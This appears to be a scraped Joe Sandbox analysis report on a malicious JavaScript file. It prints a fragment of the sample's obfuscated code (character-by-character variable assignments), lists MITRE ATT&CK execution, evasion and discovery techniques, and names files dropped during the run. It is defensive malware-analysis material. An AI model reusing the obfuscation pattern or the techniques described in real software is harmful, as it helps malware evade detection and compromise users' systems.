1462	gpast = "t";
1463	gpast = "s";
1464	gpast = "Z";
1465	gpast = "V";
1466	gpast = "W";
1467	gpast = "F";
1468	gpast = "d";
1469	gpast = "v";
1470	gpast = "f";
1471	gpast = "D";
1472	gpast = "K";
1473	gpast = "H";
1474	gpast = "J";
1475	gpast = "t";
1476	gpast = "l";
1477	gpast = "c";
1478	gpast = "/";
1479	pwegonqf = "D";
1480	pwegonqf = "r";
1481	pwegonqf = "B";
1482	pwegonqf = "P";
1483	pwegonqf = "u";
1484	pwegonqf = "l";
1485	pwegonqf = "W";
1486	pwegonqf = "k";
1487	pwegonqf = "v";
1488	pwegonqf = "w";
1489	pwegonqf = "S";
1490	pwegonqf = "L";
1491	pwegonqf = "s";
1492	pwegonqf = "o";
1493	pwegonqf = "O";
1494	pwegonqf = "y";
1495	pwegonqf = "t";
1496	pwegonqf = "b";
1497	pwegonqf = "m";
1498	pwegonqf = "W";
1499	pwegonqf = "j";
1500	pwegonqf = "B";
1501	pwegonqf = "M";
1502	pwegonqf = "c";
1503	pwegonqf = "K";
1504	pwegonqf = "I";
1505	pwegonqf = "R";
1506	pwegonqf = "Q";
1507	pwegonqf = "m";
1508	jqqqebj ( );	jqqqebj() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1515610719364115693.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7e2d7d9c-4051-4a10-b912-a51f8b903ece.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\80494ff8-1cd2-4b59-a0e3-c1a6da4ab478.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5c7d2f.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7512

Windows Analysis Report
1515610719364115693.js